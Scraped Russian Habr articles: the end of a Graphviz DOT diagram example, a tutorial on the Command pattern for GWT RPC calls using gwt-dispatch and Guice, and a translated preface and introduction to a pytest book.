m3[xlabel=mblk\_t label=" m3 | \*prev | \*next | \*cont | \*data | other\nstuff" ];;
m4[xlabel=mblk\_t label=" m4 | \*prev | \*next | \*cont | \*data | other\nstuff" ];;
q1[ xlabel="queue\_t" label=" q1 | \*prev | \*next | \*cont | \*data | other\nstuff"];;
m1:d->d1;
m2:d->d2;
m2\_1:d->d2\_1;
m2\_2:d->d2\_2;
m3:d->d3;
m4:d->d4;
m1:n -> m2:h;
m1:p -> q1:h;
m2:n -> m3:h;
m2:c->m2\_1:h;
m2\_1:c->m2\_2:h;
m3:n -> m4:h;
m2:p -> m1:h;
m3:p -> m2:h;
m4:p -> m3:h;
q1:n->m1:h;
q1:p->m4:h;
m4:n -> q1:h[color=blue];
}
```
Как можно видеть, все макросы раскрыты и подставлены. Строчки стали длиннее и сложнее. Остается передать файл для рендеринга одной из утилит пакета *Graphviz* (например *dot*) или отрендерить на сайте: <https://sketchviz.com/new>
Результат будет таким:
Граф отличается расположением узлов от оригинала в начале статьи, по причине того, что для логичности изложения я поменял порядок объявления узлов.
При желании можно пойти дальше и убрать под макрос соединения узлов очереди. | https://habr.com/ru/post/499170/ | null | ru | null |
# Использование шаблона Command для организации RPC-вызовов в GWT
В своем прошлогоднем выступлении в рамках [Google I/O Ray Rayan](http://code.google.com/intl/ru-RU/events/io/2009/sessions/GoogleWebToolkitBestPractices.html "Google I/O Ray Rayan") поведал аудитории о том, как правильно стоить архитектуру более-менее крупных GWT-проектов. Одна из его рекомендаций — использование шаблона (паттерна) Command для оргиназации RPC-сервисов. В данной заметке я постараюсь вкратце осветить данный подход на примере простейшего GWT-приложения. Для диспетчеризации RPC-вызовов будет использована библиотека gwt-dispatch [GWT-Dispatch](http://code.google.com/p/gwt-dispatch/ "GWT-Dispatch"). Сразу хочу предупредить, что эта статья является симбиозом, осмыслением и компиляцией нескольких источников ([GWT-Dispatch Getting Started](http://code.google.com/p/gwt-dispatch/wiki/GettingStarted "GWT-Dispatch Getting Started"), [GWT MVP Example](http://blog.hivedevelopment.co.uk/2009/08/google-web-toolkit-gwt-mvp-example.html "GWT MVP Example")). Рассматривайте ее как руководство к быстрому старту на пути правильного построения GWT-приложений. Весь материал разработан с учетом того, что серверная реализация RPC-сервисов также выполняется на языке Java.
Не секрет, что при разработке более менее крупных приложений нам на помощь спешат шаблоны (паттерны) проектирования. Паттерны являются своего рода рецептами решения конкретных типовых случаев. Начать старт в изучении и применении паттернов проектирования можно с [Patterns on Wiki](http://ru.wikipedia.org/wiki/Pattern "Patterns on Wiki") и дальше углубляться уже в соответствующие книги, статьи, труды и т. д.
Если быть кратким, то шаблон Command (Команда) позволяет выполнять конкретные реализации интерфейса Command (Action etc.) через унифицированный интерфейс.
Касательно GWT RPC применение этого подхода позволит иметь один интерфейс вызовов RPC-сервисов (диспетчер) и в него передавать объект соответствующего действия (команды).
### Подключение необходимых библиотек
Итак, для реализации RPC-взаимодействия в проекте с помощью команд нам понадобиться подключить к проекту дополнительные библиотеки:
* [GWT-Dispatch](http://code.google.com/p/gwt-dispatch/ "GWT-Dispatch") — GWT-реализация диспетчера вызовов. Также эта библиотека предоставляет интерфейсы Action и Result для организации своих команд и их результатов выполнения.
* [Google Guice](http://code.google.com/p/google-guice/ "Google Guice") — Dependency Injection-фреймворк от Google. Позволяет организовать управление зависимостями в серверном коде с помощью Dependency Injection-подхода. Он намного проще всем известного Spring Framework, и, соответственно, работает быстрее. При реализации демо-проекта Guice сослужил также службу как диспетчер сервлетов и инициализирующее звено всего сервер-сайда. Но об этом немного позже.
* [Google GIN](http://code.google.com/p/google-gin/ "Google GIN") — реализация Guice для GWT. Позволяет применять DI-подход в клиентском (читай, GWT) коде. Его явно мы использовать не будем, он требуется как зависимость.
Для подключения этих библиотек к проекту достаточно положить файлы gin-1.0.jar, guice-2.0.jar, guice-servlet-2.0.jar и gwt-dispatch-1.0.0.jar в WEB-INF/lib и добавить их в Build Path проекта. Конфигурация GWT-модуля с подключенными модулями у меня выглядит так:
> `1. </fontxml version="1.0" encoding="UTF-8"?>
> 2. <module rename-to='rpc\_command'>
> 3. <inherits name='com.google.gwt.user.User' />
> 4. <inherits name="com.google.gwt.inject.Inject" />
> 5. <inherits name="net.customware.gwt.dispatch.Dispatch" />
> 6.
> 7. <entry-point class='net.pimgwt.client.RpcCommandEntryPoint' />
> 8.
> 9. <source path='client' />
> 10. module>
> \* This source code was highlighted with Source Code Highlighter.`
### Организация конкретной команды на GWT стороне
Создание команды я проиллюстрирую на примере создания одного RPC-вызова. Его суть будет проста как дверь: отправить серверному методу считанный из поля ввода параметр и получить ответ. Все. Ах да, отобразить полученный ответ на UI. В демо-проекте содержится еще вызов, который от сервера получает массив фейковых DTO-объектов. Его код не будет рассмотрен в этой заметке. Если интересно, я его могу предоставить дополнительно в комментариях.
Для создания RPC-команды нужно создать класс, который реализует интерфейс Action:
> `1. package net.pimgwt.client.rpc;
> 2.
> 3. import net.customware.gwt.dispatch.shared.Action;
> 4.
> 5. @SuppressWarnings("serial")
> 6. public class SingleRequestAction implements Action {
> 7. private String param;
> 8.
> 9. public SingleRequestAction() {
> 10. }
> 11.
> 12. public SingleRequestAction(String param) {
> 13. this.param = param;
> 14. }
> 15.
> 16. public String getParam() {
> 17. return this.param;
> 18. }
> 19. }
> \* This source code was highlighted with Source Code Highlighter.`
Как видим, ничего сложного. Эта команда инкапсулирует в себе параметр, который будет передан на сервер. Единственный здесь интересный момент — это указание того, что результатом выполнения будет объект класса SingleRequestResult:
> `1. package net.pimgwt.client.rpc;
> 2.
> 3. import net.customware.gwt.dispatch.shared.Result;
> 4.
> 5. @SuppressWarnings("serial")
> 6. public class SingleRequestResult implements Result {
> 7. private String resultMessage;
> 8.
> 9. public SingleRequestResult() { }
> 10.
> 11. public SingleRequestResult(String resultMessage) {
> 12. this.resultMessage = resultMessage;
> 13. }
> 14.
> 15. public String getResultMessage() {
> 16. return this.resultMessage;
> 17. }
> 18. }
> \* This source code was highlighted with Source Code Highlighter.`
который также инкапсулирует в себе данные, которые «приедут» клиентскому коду.
На данный момент приготовления на клиентской стороне закончены. Самое время взяться за поджаривание кофейных зерен, которые будут работать на сервере. Кстати, сервер у нас будет работать на Google App Engine.
### Серверная реализация RPC-сервисов
Библиотека GWT-Dispatch предоставляет инструментарий для организации диспетчеров как для клиентской, так и для серверной частей.
Начнем конфигурирование сервер-сайда с диспетчера сервлетов, которые будут заниматься обработкой RPC-вызовов:
> `1. package net.pimgwt.server;
> 2.
> 3. import net.customware.gwt.dispatch.server.service.DispatchServiceServlet;
> 4.
> 5. import com.google.inject.servlet.ServletModule;
> 6.
> 7. public class DispatcherServletModule extends ServletModule {
> 8. @Override
> 9. protected void configureServlets() {
> 10. serve("/rpc\_command/dispatch").with(DispatchServiceServlet.class);
> 11. }
> 12. }
> \* This source code was highlighted with Source Code Highlighter.`
Класс `DispatcherServletModule` наследник `ServletModule`. В нем переписан родительский метод `configureServlets()`, который устанавливает соответствие RPC-URL реализации диспетчера сервлетов, который предоставляется GWT-Dispatch. По-умолчанию URL, который будет прослушиваться диспетчером строится по схеме имя\_приложения/dispatch.
Реализуем теперь обработчик (handler), который будет привязан к команде, объявленной на клиентской стороне (команда `SingleRequestAction`):
> `1. package net.pimgwt.server;
> 2.
> 3. import net.customware.gwt.dispatch.server.ActionHandler;
> 4. import net.customware.gwt.dispatch.server.ExecutionContext;
> 5. import net.customware.gwt.dispatch.shared.ActionException;
> 6. import net.pimgwt.client.rpc.SingleRequestAction;
> 7. import net.pimgwt.client.rpc.SingleRequestResult;
> 8.
> 9. public class SingleRequestHandler implements ActionHandler {
> 10. @Override
> 11. public SingleRequestResult execute(SingleRequestAction action, ExecutionContext
> 12. context) throws ActionException {
> 13. return new SingleRequestResult("You are entered: " + action.getParam());
> 14. }
> 15.
> 16. @Override
> 17. public Class getActionType() {
> 18. return SingleRequestAction.class;
> 19. }
> 20.
> 21. @Override
> 22. public void rollback(SingleRequestAction action, SingleRequestResult result,
> 23. ExecutionContext context) throws ActionException { }
> 24. }
> \* This source code was highlighted with Source Code Highlighter.`
Обработчик команды реализует generic-интерфейс, при параметризации которого указываются команда и ее результат. В данном случае это `SingleRequestAction` и `SingleRequestResult` соответственно. Интерфейс `ActionHandler` также обязует класс-реализацию предоставить методы `execute(), getActionType()` и `rollback()`, названия которых говорят сами за себя. В приведенном коде для такой простой команды, как `SingleRequestAction` действие отката в случае неудачи просто оставлено пустым. Нечего откатывать.
Результатом выполнения метода `execute()` является объект `SingleRequestResult`, в который мы просто записываем текст ответа, который будет передан вызывающей (клиентской) стороне.
Ну и метод `getActionType()` должен вернуть ссылку на класс команды, к которой привязан обработчик. Это нужно для того, чтобы диспетчер смог корректно вызвать нужный обработчик, а не какой-то другой.
Помимо непосредственно диспетчеризации и предоставления интерфейсов Action и Result библиотека GWT-Dispatch также предоставляет интеграцию с Google Guice. Эта интеграция позволяет зарегистрировать обработчики команд в Guice-контексте:
> `1. package net.pimgwt.server;
> 2.
> 3. import net.customware.gwt.dispatch.server.guice.ActionHandlerModule;
> 4.
> 5. public class RpcCommandHandlerModule extends ActionHandlerModule {
> 6. @Override
> 7. protected void configureHandlers() {
> 8. bindHandler(SingleRequestHandler.class);
> 9. // . . .
> 10. }
> 11. }
> \* This source code was highlighted with Source Code Highlighter.`
Свяжем все воедино с помощью класса `GuiceServletContextListener`, который будет «слушать» происходящее извне и реагировать в том случае, когда от клиента будет происходить запрос /rpc\_command/dispatch и запускать обработчик соответствующей команды:
> `1. package net.pimgwt.server;
> 2.
> 3. import com.google.inject.Guice;
> 4. import com.google.inject.Injector;
> 5. import com.google.inject.servlet.GuiceServletContextListener;
> 6.
> 7. public class RpcCommandGuiceConfig extends GuiceServletContextListener {
> 8. @Override
> 9. protected Injector getInjector() {
> 10. return Guice.createInjector(new RpcCommandHandlerModule(), new DispatcherServletModule());
> 11. }
> 12. }
> \* This source code was highlighted with Source Code Highlighter.`
Класс `GuiceServletContextListener` предоставляется фреймворком Guice как средство его интеграции с Java Servlets. Приведенный код выполнит все необходимые инъекции (injects) в нужные места. Таким образом у нас цепочка интеграции GWT-Dispatch и Guice и с Servlets будет замкнута.
Последний шаг, который нужен для того, чтобы все это заиграло как единый ансамбль – указание в web.xml файле нужного слушателя и соответствующий фильтр запросов:
> `1. </fontxml version="1.0" encoding="UTF-8"?>
> 2. DOCTYPE web-app
> 3. PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
> 4. "http://java.sun.com/dtd/web-app\_2\_3.dtd">
> 5.
> 6. <web-app>
> 7. <filter>
> 8. <filter-name>guiceFilterfilter-name>
> 9. <filter-class>com.google.inject.servlet.GuiceFilterfilter-class>
> 10. filter>
> 11. <filter-mapping>
> 12. <filter-name>guiceFilterfilter-name>
> 13. <url-pattern>/\*url-pattern>
> 14. filter-mapping>
> 15.
> 16. <listener>
> 17. <listener-class>net.pimgwt.server.RpcCommandGuiceConfiglistener-class>
> 18. listener>
> 19.
> 20. <welcome-file-list>
> 21. <welcome-file>index.htmlwelcome-file>
> 22. welcome-file-list>
> 23. web-app>
> \* This source code was highlighted with Source Code Highlighter.`
`GuiceFilter` настроен на фильтрацию всех запросов, попадающих на серверную сторону от клиента. Есстественно, в url-param-инструкции можно указать свой шаблон URL для прослушивания. Как это делать не скажу, это очевидные вещи и они не имеют отношения к рассматриваемому вопросу.
Серверная часть готова. Осталось теперь связать RPC-вызовы с клиентского кода с диспетчером.
### Диспетчеризация команд в GWT-коде
За вызовы RPC-команд в GWT-коде отвечает интерфейс `DispatchAsync`. Вы можете выполнить реализацию сего интерфейса как пожелаете, например, как диспетчер, который умеет кешировать полученные ранее результаты. Для демо-проекта я выбрал «коробочную» реализацию `DefaultDispatchAsync` опять же из поставки GWT-Dispatch.
Ниже я приведу только обработчик нажатия на кнопке, который инициирует RPC-вызов через указанный интерфейс и отображает полученный от серверной стороны результат:
> `1. // . . .
> 2. private DispatchAsync rpcDispatcher = new DefaultDispatchAsync();
> 3. // . . .
> 4. @UiField Button singleValueTestButton;
> 5. // . . .
> 6.
> 7. @UiHandler("singleValueTestButton")
> 8. public void singleValueButtonClicked(ClickEvent event) {
> 9. responseLable.setText("");
> 10.
> 11. rpcDispatcher.execute(new SingleRequestAction(paramTextbox.getText()), new
> 12. AsyncCallback() {
> 13. @Override
> 14. public void onFailure(Throwable caught) {
> 15. responseLable.setText("Error occured: " +
> 16. caught.getMessage());
> 17. }
> 18.
> 19. @Override
> 20. public void onSuccess(SingleRequestResult result) {
> 21. responseLable.setText(result.getResultMessage());
> 22. }
> 23. });
> 24. }
> \* This source code was highlighted with Source Code Highlighter.`
Основной момент здесь в том, что мы передаем диспетчеру инициализированную команду для отправки ее на сервер. В коллбеке из полученного отвера SingleRequestResponse просто извлекается результат: `responseLable.setText(result.getResultMessage());`
Все написано, реализовано, настроено и даже работает!
### Демо-проект
Ниже на скриншоте показана структура демо-проекта в панели Project Packages
[](http://imglink.ru/show-image.php?id=a420eb4582137a3b254e26818cbb6452)
Если присмотреться к нему, то можно увидеть, что в проекте реализована еще одна RPC-команда, `MultiRequestAction`. Результатом ее выполнения является `MultiRequestResult`, который в свою очередь содержит список объектов `DummyDTO`, который наполняется в цикле в сервеном обработчике этой команды.
Проект для live-просмотра доступен [RPC Command Demo Project](http://rpc.latest.gshock-lab.appspot.com/ "RPC Command Demo Project On GAE")
### Вместо заключения
Описанный подход RPC-взаимодействия не умаляет роли простых RPC-вызовов, которые немного были рассмотрены в статье [Авторизация через службу User Service в GWT приложениях](http://ru.enetri.com/2010/05/18/1.html). В некоторых случаях, когда у вас в проекте один, максимум два обращения к серверной стороне то особого смысла городить огород из Action-ов, Result-ов, каких-то Guice и иже с ними не имеет смысла, потому что только усложняет код. С другой стороны, применения «правильных» практик построения ООП-кода повышает его структурируемость, читаемость и \_добавьте свой бенефит\_.
Более того, мне известны несколько проектов на GWT, которые вообще на серверной стороне не содержат Java. Значит при такой серверной реализации есстественно применять какой-то общий формат обмена сообщениями, например, JSON или XML. Но это уже другая история…
Жду конструктивной критики, пожеланий и, конечно же, вопросов!
Спасибо. | https://habr.com/ru/post/94844/ | null | ru | null |
# Python Testing with pytest. Просто, Быстро, Эффективно и Масштабируемо. Предисловие и Ведение
[Дальше](https://habr.com/ru/post/448782/) 
*Систематическое тестирование программного обеспечения, особенно в сообществе Python, часто либо полностью игнорируются или выполняются специальным образом. Многие программисты на Python совершенно не подозревают о существовании pytest. Брайен Оккен берет на себя труд, доказать, что тестирование программного обеспечения с помощью pytest легко, естественно и даже интересно.*
Dmitry Zinoviev
Author of Data Science Essentials in Python
Примеры в этой книге написаны с использованием Python 3.6 и pytest 3.2. pytest 3.2 поддерживает Python 2.6, 2.7 и Python 3.3+.
> Исходный код для проекта Tasks, а также для всех тестов, показанных в этой книге, доступен по [ссылке](https://pragprog.com/titles/bopytest/source_code "https://pragprog.com/titles/bopytest/source_code") на веб-странице книги в [pragprog.com](https://pragprog.com/titles/bopytest "https://pragprog.com/titles/bopytest"). Вам не нужно загружать исходный код, чтобы понять тестовый код; тестовый код представлен в удобной форме в примерах. Но что бы следовать вместе с задачами проекта, или адаптировать примеры тестирования для проверки своего собственного проекта (руки у вас развязаны!), вы должны перейти на веб-страницу книги и скачать работу. Там же, на веб-странице книги есть ссылка для сообщений [errata](https://pragprog.com/titles/bopytest/errata "https://pragprog.com/titles/bopytest/errata") и [дискуссионный форум](https://forums.pragprog.com/forums/438 "https://forums.pragprog.com/forums/438").
Под спойлером приведен список статей этой серии.
**Оглавление**
* [**Введение**](https://habr.com/ru/post/426699/) (Эта статья)
* [**Глава 1: Начало работы с pytest**](https://habr.com/ru/post/448782/)
* [**Глава 2: Написание тестовых функций**](https://habr.com/ru/post/448788/)
* [**Глава 3: Pytest Fixtures**](https://habr.com/ru/post/448786/)
* [**Глава 4: Builtin Fixtures**](https://habr.com/ru/post/448792/)
* [**Глава 5: Плагины**](https://habr.com/ru/post/448794/)
* [**Глава 6: Конфигурация**](https://habr.com/ru/post/448796/)
* [**Глава 7: Использование pytest с другими инструментами**](https://habr.com/ru/post/448798/)
Благодарности
=============
Сначала я должен поблагодарить Мишель — мою жену и лучшего друга. Жаль, что вы не видите комнату, в которой я пишу. Вместо стола у меня антикварный квадратный дубовый обеденный стол на котором достаточно места, где можно разложить бумаги. Красивый стеклянный книжный шкаф с моими ретро — космическими игрушками, которые мы собрали за долгие годы, а также техническими книгами, монтажными платами и жонглерскими шарами. Старинные алюминиевые ящики для хранения бумаги доверху заполненные заметками, шнурами и даже оставшимися наклейками для ракет. Одна стена покрыта бархатом, который мы купили много лет назад, когда магазин тканей решил закрыться насовсем. Ткань должна успокоить эхо, когда я записываю подкасты.
Мне нравится писать здесь не только потому, что это удобно и соответствует моему внутреннему миру, но и потому, что это пространство, которое Мишель создала со мной и для меня. Мы с ней всегда были командой, и она невероятно поддерживала мои сумасшедшие идеи написать блог, начать подкаст или два, и теперь, в течение последнего года или около того, написать эту книгу. Она позаботилась о том, чтобы у меня было время и пространство для письма. Когда я устаю и задумываюсь о том, что есть-ли у меня ещё силы, чтобы писать, она предлагает мне просто продолжить в течение двадцати минут и понаблюдать, как я буду себя тогда чувствовать, так же она делала, когда помогла мне пройти через поздние ночи учебы в колледже. Я правда, правда не смог бы сделать это без нее.
У меня также есть две удивительно удивительные, любопытные и блестящие дочери, Габриэлла и София, которые являются двумя из моих самых больших поклонников. Элла предлагает всем, кто говорит о программировании слушать мои подкасты, а Фия щеголяла наклейкой кода теста на рюкзаке, которую она взяла во второй класс.
Есть еще столько людей, которых нужно благодарить.
Мой редактор, Кэтрин Дворжак, помогла мне сформировать кучу случайных идей и тем в сплоченную прогрессию, и является причиной, почему ЭТО книга, а не серия сообщений в блоге, скрепленных вместе. Я вошел в этот проект как блоггер, и слишком привязался к множеству заголовков, подзаголовков и пунктам списка, и Кэти терпеливо вела меня, чтобы я смог стать писателем получше.
Спасибо Сюзанне Дэвидсон Пфальцер, Энди Ханту и остальной части «Pragmatic Bookshelf» за то, что у меня есть шанс.
Технические рецензенты держали меня честным в pytest, но также и в стиле Python, и являются причиной того, что примеры кода соответствуют PEP 8. Спасибо Оливеру Бествальтеру, Флориану Брухину, Флорису Бруиногу, Марку Гуди, Питеру Хэмптону, Дэйву Ханту, Аль Кринкеру, Локешу Кумару Макани, Бруно Оливейре, Ронни Пфанншмидту, Рафаэлю Пьерзине, Лучано Рамальо, Фрэнку Руису и Дмитрию Зиновьеву. Многие из этого списка также являются разработчиками ядра pytest и/или поддерживающими невероятные плагины pytest.
Особая благодарность Лучано. Написав эту книгу, я первые четыре главы отправил нескольким рецензентам. Лучано был одним из них, и его обзор был самым трудным для чтения. Я не думаю, что я следовал всем его советам, но из-за его замечаний я пересмотрел и переписал большую часть первых трех глав и изменил кое что в остальной части книги.
Спасибо всей команде pytest-dev за создание такого крутого инструмента тестирования. Спасибо Оливеру Бествальтеру, Флориану Брухину, Флорису Бруйноохе, Дэйву Ханту, Хольгеру Крекелю, Бруно Оливейре, Ронни Пфанншмидту, Рафаэлю Пьерзине и многим другим за ответы на мои вопросы о жизни на протяжении многих лет.
И последнее, но не менее важное: мне нужно поблагодарить людей, которые поблагодарили меня. Воспользовались случаем, чтобы сообщить мне на email о том, что мой труд, спас их время и облегчил работу. Это круто, и радует меня! Спасибо!
**Brian Okken**
*сентябрь 2017*
Предисловие
===========
Использование Python возрастает не только в разработке программного обеспечения, но и в таких областях, как анализ данных, научные исследования, испытания и измерения, а также в других отраслях промышленности. Развитие Python во многих критических областях также сопровождается желанием правильно, эффективно и результативно проводить тесты программного обеспечения, чтобы убедиться, что программы работают правильно и дают правильные результаты. Кроме того, все больше и больше проектов программного обеспечения охватывают непрерывную интеграцию и включают фазу автоматизированного тестирования, поскольку циклы выпуска сокращаются, а тщательное ручное тестирование все более сложных проектов просто неосуществимо. Команды должны иметь возможность доверять тестам, выполняемым серверами непрерывной интеграции которые сообщают им, могут ли они доверять своему программному обеспечению настолько, чтобы выпускать его.
Введите pytest.
Что такое pytest?
-----------------
Надежный инструмент тестирования Python, pytest может быть использован для всех типов и уровней тестирование программного обеспечения. pytest может быть использован командами разработчиков, QA команд, независимых групп тестирования, лиц практикующих TDD, и проекты с открытым исходным кодом. Фактически, проекты по всему интернету переключились с *unittest* или *nose* на *pytest*, включая Mozilla и Dropbox. Почему? Потому что pytest предлагает мощные функции, такие как перезапись "assert", сторонние модели плагинов и мощную, но простую fixture model, которая не имеет себе равных в любой другой структуре тестирования.
pytest-это платформа для тестирования программного обеспечения, что означает, что pytest-это программа командной строки. Инструмент, который автоматически находит написанные тесты, запускает тесты и пишет отчеты с результатом. Он имеет библиотеку примочек, которые можно использовать в тестах, чтобы помочь вам тестировать более эффективно. Он может быть расширен путем написания собственных плагинов или установки сторонних. Его можно использовать для тестирования дистрибутивов Python. И он легко интегрируется с другими инструментами, такими как непрерывная интеграция и веб автоматизация.
Вот несколько причин, почему pytest выделяется среди многих других тестов интегрированные системы:
* Простые тесты легко написать в pytest.
* Complex tests еще проще писать.
* Тесты легко читаются.
* Тесты легко читаются. (Так важно, что это указано дважды.)
* Вы можете начать работу в считанные секунды.
* Для провала теста используется `assert`, а не `self.assertEqual()` или `self.assertLessThan()`. Просто **assert**!
* Можно использовать pytest для запуска тестов, написанных для unittest или nose.
**pytest** активно развивается и поддерживается страстным и растущим сообществом. Он настолько расширяем и гибок, что легко вписывается в ваш рабочий процесс. И поскольку он установлен отдельно от вашей версии Python, вы можете использовать ту же самую последнюю версию pytest на устаревших Python 2 (2.6 и выше) и Python 3 (3.3 и выше).
Изучение pytest при тестировании примера приложения
===================================================
Вы бы хотели изучать pytest, тестируя глупые примеры, которые никогда не встретите в реальной жизни? Я тоже. Мы не собираемся делать это в этой книге. Взамен, мы собираемся написать тесты для проекта, который, я надеюсь, имеет много похожего с приложениями, которые вы будете тестировать после прочтения этой книги.
Проект Tasks
------------
Приложение, которое мы рассмотрим, называется Tasks (задачи). Tasks-это минимальное приложение для отслеживания задач с интерфейсом командной строки. Он имеет достаточно общего со многими другими типами приложений, которые, я надеюсь, вы можете легко увидеть, как концепции тестирования, которые вы изучаете при разработке тестов против задач, применимы к вашим проектам сейчас и в будущем.
Хотя Tasks имеет интерфейс командной строки (CLI), CLI взаимодействует с остальной частью кода через интерфейс прикладного программирования (API). API — это интерфейс, на который мы будем направлять большую часть нашего тестирования. API взаимодействует с уровнем управления базой данных, который взаимодействует с базой данных документа — *MongoDB* или *TinyDB*. Тип базы данных настраивается при инициализации базы данных. Прежде чем сосредоточиться на API, давайте рассмотрим сами задачи, инструмент командной строки, который представляет пользовательский интерфейс для задач.
Вот пример сеанса:
```
$ tasks add 'do something' --owner Brian
$ tasks add 'do something else'
$ tasks list
ID owner done summary
-- ----- ---- -------
1 Brian False do something
2 False do something else
$ tasks update 2 --owner Brian
$ tasks list
ID owner done summary
-- ----- ---- -------
1 Brian False do something
2 Brian False do something else
$ tasks update 1 --done True
$ tasks list
ID owner done summary
-- ----- ---- -------
1 Brian True do something
2 Brian False do something else
$ tasks delete 1
$ tasks list
ID owner done summary
-- ----- ---- -------
2 Brian False do something else
$
```
> ***Прим.переводчика:*** В случае использования платформы Windows, я столкнулся с несколькими проблемами при испытании приведенного сеанса.
>
> 1. Должна быть создана папка для базы TinyDB с именем **`tasks_db`** в папке вашего пользователя. Например `c:\Users\User_1\tasks_db\`
> 2. Используйте кавычки вместо апострофов. Иначе, получаем такую ошибку.
>
>
>
> $ tasks add 'do something else'
>
> Usage: tasks add [OPTIONS] SUMMARY
>
>
>
> Error: Got unexpected extra arguments (something else')
>
>
>
>
Это не самое сложное приложение для управления задачами, но достаточно сложное, чтобы использовать для изучения тестирования.
Стратегия тестирования
----------------------
Хотя pytest годится для модульного тестирования (Unit Testing), интеграционного тестирования (Integration Testing), системного (System Testing) или end-to-end тестирования и функционального тестирования, стратегия тестирования проекта Tasks фокусируется главным образом на subcutaneous functional testing. Ниже приведены некоторые полезные определения:
* **Модульный тест** *(Unit test)*: тест, который проверяет небольшой фрагмент кода, например функцию или класс, в изоляции от остальной системы. Я рассматриваю тесты в Главе 1, Начало работы с pytest, на стр. 1, для выполнения модульных тестов Структура данных задач.
* **Интеграционный тест** *(Integration Testing)*: тест, который проверяет больший кусок кода, может включать несколько классов или подсистемы. Главным образом ярлык используемый для некоторого испытания побольше чем модульный тест, но меньше системного теста.
* **Системный тест** *(end-to-end)*: тест, который проверяет всю тестируемую систему в среде, максимально приближенной к среде конечного пользователя.
* **Функциональный тест** *(Functional testing)*: Тест, который проверяет один кусок функциональности системы. Тест, который проверяет, насколько хорошо мы добавляем, удаляем или обновляем элемент задачи в Tasks, является функциональным тестом.
* **Subcutaneous test**: Тест, который выполняется не для конечного пользовательского интерфейса, а для интерфейса, расположенного чуть ниже поверхности. Поскольку большинство тестов в этой книге тестируются на уровне API, а не CLI, они квалифицируются как подкожные(Subcutaneous) тесты.
Как организована эта книга
--------------------------
В главе 1 «Приступая к работе с pytest» на стр. 1 вы установите pytest и подготовитесь к его использованию. Затем вы возьмете одну часть проекта Tasks — структуру данных, представляющую одну задачу (namedtuple called Task), и используйте ее для тестирования примеров. Вы узнаете, как запустить pytest с несколькими тестовыми файлами. Вы увидите многие популярные и чрезвычайно полезные параметры командной строки для pytest, такие как возможность повторного запуска тестовых сбоев, остановки выполнения после первого отказа, управления трассировкой стека и многостраничной версией тестового запуска и многое другое.
В главе 2, "Создание тестовых функций", на странице 23, Вы установите Tasks локально с помощью pip и посмотрите, как структурировать тесты в проекте Python. Вы должны сделать это, чтобы приступить к написанию тестов для реального приложения. Все примеры в этой главе запускают тесты для установленного приложения, включая запись в базу данных. Фактические функции тестирования находятся в центре внимания этой главы, и вы узнаете, как эффективно использовать `assert` в тестах. Вы также узнаете о маркерах. Функции, которая позволяет отметить много тестов, которые будут выполняться одновременно, отметить тесты, которые будут пропущены, или указать pytest, что мы уже знаем, что некоторые тесты потерпят неудачу. Я расскажу о том, как выполнять только некоторые тесты, не только с маркерами, но и структурируя наш тестовый код в каталоги, модули и классы, и как запускать эти подмножества тестов.
Не все тестовые коды входят в тестовые функции. В главе 3, "pytest Fixtures", на стр. 49, вы узнаете, как помещать тестовые данные в тестовые фикстуры, а также настраивать и разрывать код. Настройка состояния системы (или подсистемы или отдельной единицы) является важной частью тестирования программного обеспечения. Вы изучите этот аспект фикстур pytest, чтобы помочь инициализировать базу данных проекта Tasks и предварительно заполнить тестовыми данными для некоторых тестов. Fixtures(Фикстуры) — невероятно мощная часть pytest, и вы научитесь эффективно их использовать, чтобы еще больше уменьшить дублирование тестового кода и помочь сделать ваш тестовый код невероятно удобочитаемым и поддерживаемым. Pytest-фикстуры также параметризуемы, аналогично тестовым функциям, и вы будете использовать эту функцию, чтобы иметь возможность запускать все ваши тесты как с TinyDB, так и с MongoDB, серверные части базы данных, поддерживаемые Tasks.
В главе 4, "Builtin Fixtures", на странице 71, вы увидите некоторые встроенные fixtures, поставляемых в pytest. Вы узнаете, как pytest builtin fixtures могут отслеживать временные каталоги и файлы для вас, помочь вам проверить вывод из тестируемого кода, использовать monkey patches, проверить наличие предупреждений, и многое другое.
В главе 5, "Плагины", на странице 95, вы узнаете, как добавить параметры командной строки в pytest, изменить вывод pytest и поделиться настройками pytest, включая fixtures, с другими пользователями через написание(writing), упаковку(packaging) и распространение(distributing) собственных плагинов. Плагин, который мы разрабатываем в этой главе, используется, чтобы сотворить ошибки тестирования, которые мы видим при тестировании задач, немного приятнее. Вы также узнаете, как правильно тестировать тестовые Плагины. Что за meta? И на всякий случай, если вы недостаточно вдохновлены этой главой, чтобы написать свои собственные плагины, я подобрал кучу отличных плагинов, чтобы показать, что возможно в Приложении 3, "Plugin Sampler Pack", на странице 163.
Говоря о кастомизации, в главе 6, "Конфигурация", на стр. 113, вы узнаете, как настроить запуск pytest по умолчанию для вашего проекта с помощью файлов конфигурации. С файлом *pytest.ini*, вы можете делать такие вещи, как хранение параметров командной строки, так что вам не придется вводить их все время, скАжите pytest, чтобы не заглядывать в определенные каталоги для тестовых файлов, укажите минимальную версию pytest, на которую написаны ваши тесты, и многое другое. Эти элементы конфигурации могут быть помещены в *tox.ini* или *setup.cfg*.
В заключительной главе, Глава 7, используя pytest с другими инструментами, на странице 125, вы увидите, как вы можете взять уже мощный pytest и перегрузить свое тестирование дополнительными инструментами. Вы запустите проект Tasks на несколько версий Python с tox. Вы протестируете CLI Tasks, не выполняя остальную часть системы с mock. Вы будете использовать coverage.py чтобы проверить, не тестируется ли исходный код проекта задач. Вы будете использовать Jenkins для запуска наборов тестов и отображения результатов с течением времени. И, наконец, вы увидите, как pytest можно использовать для запуска тестов unittest, а также для обмена фикстурами стиля pytest с тестами unittestbased.
Что вам нужно знать
-------------------
**Python**
Вам не нужно быть гуру Python. Примеры не делают ничего сверхъестественного или причудливого.
**pip**
Вы должны использовать pip для установки плагинов pytest и самого pytest. Если вы хотите обновить pip, ознакомьтесь с Приложением 2, pip, на странице 159.
Командная строка
----------------
Я написал эту книгу и запечатлил примеры вывода с помощью bash на Mac laptop. Тем не менее, единственные команды, которые я использую в bash, — это cd для перехода в определенный каталог и конечно pytest. Так как cd существует в Windows cmd.exe и во всех оболочках unix, которые я знаю, все примеры должны быть доступны для запуска в любом терминальном приложении, которое вы решите использовать.
Вот и все. Вам не нужно быть экспертом по программированию, чтобы начать писать автоматические тесты с помощью pytest.
Примеры кода и интернет-ресурсы
-------------------------------
Примеры в этой книге написаны с использованием Python 3.6 и pytest 3.2. pytest 3.2 поддерживает Python 2.6, 2.7 и Python 3.3+.
